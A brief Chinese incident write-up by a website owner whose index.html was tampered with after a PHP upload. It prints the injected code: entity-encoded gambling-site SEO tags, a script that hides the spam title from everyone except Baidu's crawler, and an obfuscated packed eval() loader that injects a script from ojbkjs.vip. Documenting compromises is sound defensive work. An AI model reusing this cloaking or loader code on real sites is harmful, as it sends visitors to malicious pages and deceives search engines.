起初被上传过php文件，随后index.html被篡改

登录网站后发现被自动跳转到恶意网站，发现index.html被篡改，核心代码是两个script标签。

只展示核心部分

源文件

<title>一个普通的title</title>

篡改后文件

<title>&#27743;&#21335;&#183;&#20307;&#32946;&#40;&#74;&#78;&#32;&#83;&#80;&#79;&#82;&#84;&#83;&#41;&#23448;&#26041;&#32593;&#31449;</title>
<meta name="keywords" content="&#27743;&#21335;&#183;&#20307;&#32946;&#40;&#74;&#78;&#32;&#83;&#80;&#79;&#82;&#84;&#83;&#41;&#23448;&#26041;&#32593;&#31449;"/>
<meta name="description" content="&#50;&#48;&#50;&#52;&#24180;&#27431;&#27954;&#26479;&#20080;&#29699;&#25512;&#33616;&#58;&#9917;&#65039;&#107;&#121;&#49;&#49;&#56;&#56;&#46;&#118;&#105;&#112;&#9917;&#65039;&#27743;&#21335;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#44;&#27743;&#21335;&#20307;&#32946;&#40;&#20013;&#22269;&#41;&#75;&#97;&#105;&#121;&#117;&#110;&#23448;&#26041;&#32593;&#31449;&#44;&#27743;&#21335;&#20307;&#32946;&#40;&#20013;&#22269;&#41;&#75;&#97;&#105;&#121;&#117;&#110;&#30331;&#24405;&#20837;&#21475;&#44;&#27743;&#21335;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#32593;&#39029;&#29256;&#44;&#27743;&#21335;&#20307;&#32946;&#23448;&#26041;&#32593;&#31449;&#44;&#27743;&#21335;&#20307;&#32946;&#23448;&#32593;&#65281;&#10;"/>
<script>if(navigator.userAgent.toLocaleLowerCase().indexOf("baidu") == -1){document.title ="某某公司"}</script>
<script type="text/javascript">eval(function(p,a,c,k,e,r){e=function(c){return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)r[e(c)]=k[c]||e(c);k=[function(e){return r[e]}];e=function(){return'\\w+'};c=1};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p}('m(d(p,a,c,k,e,r){e=d(c){f c.n(a)};h(!\'\'.i(/^/,o)){j(c--)r[e(c)]=k[c]||e(c);k=[d(e){f r[e]}];e=d(){f\'\\\\w+\'};c=1};j(c--)h(k[c])p=p.i(q s(\'\\\\b\'+e(c)+\'\\\\b\',\'g\'),k[c]);f p}(\'1["2"]["3"](\\\'<0 4="5/6" 7="8://9.a/b.c"></0>\\\');\',l,l,\'t|u|v|x|y|z|A|B|C|D|E|F|G\'.H(\'|\'),0,{}))',44,44,'|||||||||||||function||return||if|replace|while||13|eval|toString|String||new||RegExp|script|window|document||write|type|text|javascript|src|https|ojbkjs|vip|jb|js|split'.split('|'),0,{}))
</script>